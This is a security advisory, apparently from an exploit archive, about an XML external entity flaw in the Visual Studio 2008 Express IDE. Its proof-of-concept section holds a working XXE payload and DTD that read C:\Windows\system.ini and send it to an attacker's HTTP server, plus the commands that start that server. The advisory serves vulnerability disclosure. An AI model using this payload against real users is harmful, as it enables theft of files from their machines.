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Microsoft Visual Studio 2008 Express IDE XML Injection

Microsoft Visual Studio 2008 Express IDE XML Injection
Posted Dec 2, 2019
Authored by hyp3rlinx | Site hyp3rlinx.altervista.org

Microsoft Visual Studio 2008 Express IDE suffers from an XML external entity injection vulnerability.

tags | exploit
SHA-256 | 2b347e3e3aa8c05872e5d91abda3e6e4738812564cc798a749efdc8982d35ec9

Microsoft Visual Studio 2008 Express IDE XML Injection

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[+] Credits: John Page (aka hyp3rlinx)    
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-VISUAL-STUDIO-EXPRESS-2008-IDE-XML-EXTERNAL-ENTITY-0Day.txt
[+] ISR: ApparitionSec


[Vendor]
www.microsoft.com


[Product]
Visual Studio 2008 Express IDE
vcsetup.exe
File hash: 62f764849e8fcdf8bfbc342685641304
Download: http://go.microsoft.com/?linkid=7729279


[Vulnerability Type]
XML External Entity Injection 0Day


[CVE Reference]
N/A


[Security Issue]
Visual Studio 2008 IDE suffers from XML External Entity injection. Attackers can leverage many file types, some being MASM related files like .asm or .lst.
By opening any one of the following file types listed below, it can allow remote attackers to steal files from the victims computer, sending them to the
remote attackers server.

Double click any of the following extensions and it will trigger the XXE vulnerability. Note, upon installation of the IDE the following file types get
associated with Visual Studio 2008 and are ALL vulnerable and will trigger the XXE exploit.

[Vuln XXE file types]
.snippet
.i
.s
.asm
.disco
.lst
.inc
.srf
.wsdl
.rgs
.xml

This IDE is pretty old, I know, but its still available for download as of this writing, therefore I release the advisory.


[References]
https://devblogs.microsoft.com/visualstudio/end-of-support-for-visual-studio-2008-in-one-year/


[Exploit/POC]
"Evil.snippet" or any of the extensions mentioned above.

<?xml version="1.0"?>
<!DOCTYPE knobgobslob [
<!ENTITY % file SYSTEM "C:\Windows\system.ini">
<!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>


"payload.dtd"

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:8000?%file;'>">
%all;


python -m SimpleHTTPServer
python -m http.server (Python3)


[POC Video URL]
https://www.youtube.com/watch?v=QOZlwzsbPrk



[Network Access]
Remote


[Severity]
High


[Disclosure Timeline]
Vendor Notification: 3/24/2017
MSRC sent me link to "Definition of a Security Vulnerability"
Also Product is also not supported anymore.
December 1, 2019 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
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